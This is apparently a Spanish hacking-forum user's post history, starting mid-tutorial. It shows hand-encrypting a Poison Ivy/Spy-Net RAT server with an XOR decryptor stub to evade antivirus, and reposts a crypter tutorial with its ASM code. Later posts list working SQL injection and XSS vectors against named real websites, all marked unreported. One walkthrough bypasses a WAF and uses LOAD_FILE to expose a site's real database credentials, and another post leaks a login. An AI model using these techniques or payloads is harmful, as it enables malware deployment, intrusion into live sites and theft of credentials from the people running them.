(B5FF-400)+1000+400000= 40C1FF

y el tercer valor es:

El EntryPoint + el ImageBase para saber esto abrimos el binario con Lord-PE y sumamos los balores EntryPoint y ImageBase

EntriPoint= BBF4
ImageBase = 400000

Tecer Valor= 40BBF4


Bien queda el Ultimo, este es la direccion donde nuestro codigo hace xor byte ptr ds:[eax],0FFh

Esto es facil de explicar, tenemos una rutina que lee 1 a uno los bytes de un bloque de direcciones
este le aplica XOR a cada uno de los bytes, esto es un bucle para encriptar/desencriptar
con el cual si no hemos llegado al ultimo byte, salta al siguiente y le vuelve a aplicar XOR
y se repite este proceso hasta que llegamos al ultimo byte.

este valor lo obtenemos mirando OllyDBG justo en la line del XOR

El Cuarto Valor es: 40C20F

Entonces nos queda en olly de esta manera:


Ahora tenemos que guardar los cambios y guardar en disco:

Click Derecho -> Copy to Executable/All modifications y guardamos el archivo en el disco (click derecho, backup->save data to file).

Bueno Casi Terminamos, debemos cambiar el EntriPoint del Ejecutable con nuestra rutina ASM para que apunte a nuestro codigo, y luego salte al resto del programa
Esto lo hacemos con LORD-PE

Abrimos el Binario y Cambiamos donde Dice EntryPoint por el valor de memoria de nuestra primera linea ASM sin el ImageBase

en nuestro caso es:

40c200-400000 = c200


Bueno ahora biene la ultima Parte:

Vamos a Establecer un BreakPoint en retn dentro de nuestro codigo ASM en OllyDBG para que cifre todo el codigo:


Precionamos F9 para que se ejecute hasta el BreakPoint y copiaremos todo entre 401000 y 40C1FF (Todo esto estara Encriptado)

Selecionamos todo y realizamos un Binary Copy:


Cerramos OllyDBG y nos aceguramos de no copiar nada para no eliminar el codigo el portapapeles!!!

Ahora Utilizaremos Otro Editor Hexadecimal: HxD

Abrimos HxD y seleccionamos los bytes entre 400 y b5FF y realizamos un Pegar Escribiendo y guardamos los cambios

Solo queda abrir por ultima vez nuestro servidor con OllyDBG y sustituir retn por un NOP:


y como vemos nuestro server conecta:


Bueno espero que mi Aporte pueda ser de ayuda a todo aquel interesado en el tema
Espero como minimo un Gracias ya que son las 6 am y todavia estoy cargando las imagenes del tutorial

PD: Para dejarlo fud solo se deberia aplicar una encriptación mas fuerte y cifrar la IAT


#18
Bueno hace poco me ha dado la espina de interiorizarme y profundizar en el tema de malware, tanto desarrollo como cripters y me tope con este taller de [Zero] que es sinceramente increible, esta perfectamente explicado y nos enseña la forma de dejar de lado el conocido RUN PE que es muy detectado por los AV mas que nada por la HEURISTICA, Zero se llevo mis aplausos hoy por esto lo comparto.

Taller: cifrando Malware a Mano

Objetivos de éste taller

Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.


Herramientas Necesarias
Olly Debug No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Un Editor Hexadecimal No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Yo use HexWorkShop)
Un Editor del PE (Este lo buscan en Internet)
Poison Ivy v2.1.4 Private (Yo lo realice con Spy-Net).


Conocimientos recomendados
Nociones básicas sobre ASM. Taller ASM por E0N
Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
Familiarización con el uso de Olly y las otras herramientas.


¿Qué vamos a cifrar?

Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:


Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a cifrar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y cifrar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está  :P:


Entonces, lo que vamos a cifrar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a cifrar?

Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de descifrar lo que habíamos cifrado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

   
Ejecutable original y ejecutable cifrado respectivamente

Preparando la sección .text

Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):


Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para descifrar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.



Insertando la rutina encriptadora/desencriptadora

Bueno, el siguiente código en ASM desencrypta/cifra un array de bytes usando un Xor:

Código:

Código: php

;---------------------------------------------------------------
;Taller Encriptacion Malware a Mano: Código Desencriptación
;---------------------------------------------------------------
;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                               ;Nos desplazamos al siguiente byte
cmp eax,ebx                      ;Comprobamos si es el último
jne 401234h                      ;Si no lo es, continuamos con el siguiente
ret                                      ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                              ;Si lo es, saltamos el Entry Point Original


Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.



Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.


Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:


Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos  ;D), así que hay que cambiarlas por sus valores correctos.

Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a cifrar/descifrar, en nuestro caso, queremos que empiece a cifrar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:


Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
    (0x200-0x200)+0x1000+0x400000=401000.

Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos cifrar. En éste caso, el código que queremos cifrar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
     (0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex  :P).

Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:


Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da 402104, ese es nuestro 3º valor, el punto a donde debemos de saltar luego de descifrar los datos.

Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:


Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de cifrar la sección .text. Debería de quedar así:


Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):


Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.


cifrando, descifrando

Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código cifrado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que ciframos) y hacemos click derecho/bianry/binary copy:


Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles  :P). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

Ahora ya tenemos el código cifrado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es descifrar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:


Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server cifrado con "nuestro crypter manual  ;D":


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#19
Bueno hace unos dias ya me meti en el desarrollo de crypters ya que nunca fue mi fuerte y tampoco nunca le dedique el tiempo necesario.
Dado que tengo experiencia en programacion de bajo nivel no he tenido problemas en familiarizarme con c++

Genere 3 cripters del tipo scantime, pero ahora quiero ir un poco mas allá, quiero programar mi propio PE con c++ trabajando con ASM junto a la libreria windows.h
he encontrado muy buenas fuentes sobre la arquitectura del PE y como funciona, conosco bastante bien su funcionamiento, he leido varios tutoriales muy completos algunos en ingles y uno muy muy bueno que es la versión en español por The Swash "PE Format under Windows"

Lo que no he encontrado es informacion sobre como trabajar con la libreria windows.h, quisiera saber si alguno ya a trabajado con ella, y podría darme una mano o este interesado en armar un PE conmigo. Dejo los links de la mejor informacion que he leido:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Recomendado:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#20
Dudas y pedidos generales / [SOLUCIONADO] VB.NET o C#
Agosto 15, 2013, 11:26:13 PM
Bueno voy a empezar a estudiar un nuevo lenguaje de programación y estoy entre esos 2, yo vengo del mundo java y he escuchado q C# es mas parecido.

Quería conocer su opinion y cuales han sido su experiecia, y cual recomienda, y porq! y que tal se comportan orientados a Objetos
#21


SQLI

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta and(select 1 from(select count(*),concat((version()),floor(rand(0)*2))a from information_schema.tables group by a)b)--+
Reportado: No
#22


SQLI:

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta and(select 1 from(select count(*),concat((version()),floor(rand(0)*2))a from information_schema.tables group by a)b)-- -c
Reportado: No
#23


SQLI:

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' union select 1,version(),0x6864627265616b6572,database(),user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 limit 1,1-- -c
Reportado: No
#24
Hacking ShowOff / SQLI Diario abc.es
Julio 25, 2013, 09:51:25 PM


SQLI:

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select concat_ws(0x7e,version(),0x6864627265616b6572) limit 1,1-- -c
Reportado: No
#25
Bugs y Exploits / Full Source Disclosure por SQLI
Julio 25, 2013, 04:01:18 AM
Bueno volviendo despues de un tiempo que me tuve que tomar por la facutad, aprovecho para dejar este aporte:

Realizar FSD por medio de SQLI:

Veamos esta Web con SQLI:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




despues de explotar el sqli y Bypassear el WAF queda asi:



Vector:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost"  espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos devuelve esto:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:

A mi se me ocurre poner algo tan simple como una '  y logro obtener esta respuesta:



podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure:  /var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!

Manos a la Obra:

Nuestra SQLI queda de esta Forma:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)

y Observaremos algo que esta muy enquilombado y no se entiende nada XD



por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D



y vemos muy claramente, el usuario y password de la base de datos:


$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("[email protected]","607720916","Se ha caido el Servidor","From: SOPORTE <[email protected]>");

Espero que les sea de Utilidad!

HD_Breaker
#26


SQLI

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),load_file(0x2f7661722f6c69622f6d7973716c2f746573742e747874),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
Reportado: No
#27


SQLI:

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta and(select 1 from(select count(*),concat((select version()),floor(rand(0)*2))a from information_schema.tables group by a)b)
Reportado: No
#28


SQLI:

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select 1,2,3,user(),@@datadir,6,7,8,database(),10,11,12,13,14,version()-- -c
Reportado: NO
#29
Hacking ShowOff / SQLI Sistema Sismografico Mendoza
Julio 08, 2013, 10:38:05 PM


SQLI

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x7e,version(),0x6864627265616b6572),14,15 limit 1,1-- -c
Reportado: No
#30


SQLI

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta and (select 1 from(select count(*),concat((select (select (database()))),floor(rand(0)*2))a from information_schema.columns group by a)b)--+&page=0&PHPSESSID=7c7e4196fbbd700a469d53af8fe95b26

Reportado: No
#31


SQLI

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Reportado: No
#32


SQL:

Verctor:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select group_concat(concat_ws(char(58),username,password,realname) SEPARATOR 0x7e) from users-- -c

Reportado: No

gerardo.flores:gf43
#33


SQLI
Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta limit 1,1--%20-c
Reportado: No
#34
Hacking ShowOff / XSS http://www.esperanza.gov.ar/
Junio 27, 2013, 06:12:37 PM


XSS:
Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<script>alert(/HD_Breaker/)</script><!--
Reportado: NO
#35


SQLI

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' union select 1,concat_ws(char(58),usu_nombre,usu_clave,usu_tipo),3,4,5,6,7,8,9,10,11%20from _usuarios-- -c
Reportado: NO
#36


SQLI
Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Reportado: No
#37
Hacking ShowOff / SQLI mygoodact.com WAF Bypass
Junio 25, 2013, 10:30:05 PM


Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta SEPARATOR 0x7e),3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64+from+m_user+limit+1,1--+

Reportado: No
#38


Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"><img+src%3D.+onerror%3Dprompt%28%2FHD_Breaker%2F%29><%21--
Estado: No Reportado
#39
Off Topic / La primer maquina Cuantica
Abril 23, 2013, 02:22:14 AM
El futuro de la tecnologia

#40
Android / Underc0de Port Scanner V 1.0
Abril 09, 2013, 12:00:31 AM
Underc0de Port Scanner V 1.0 (UPS!) Primera Tool Android de Underc0de!


Port Scanning

Local y Remoto

- Escanea un Rango de Puertos de una Host/IP Local.
- Escanea un Rango de Puertos de una Host/IP Remoto.
- Idioma: Ingles.

Si eres Desarrollador de Aplicaciones Android Contactate con un Administrador para ser Parte del Underc0de Development Group!!!

Descarga:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos HD_Breaker, Gracias a Cronos por el Diseño!

Cualquier duda o consulta es bienvenida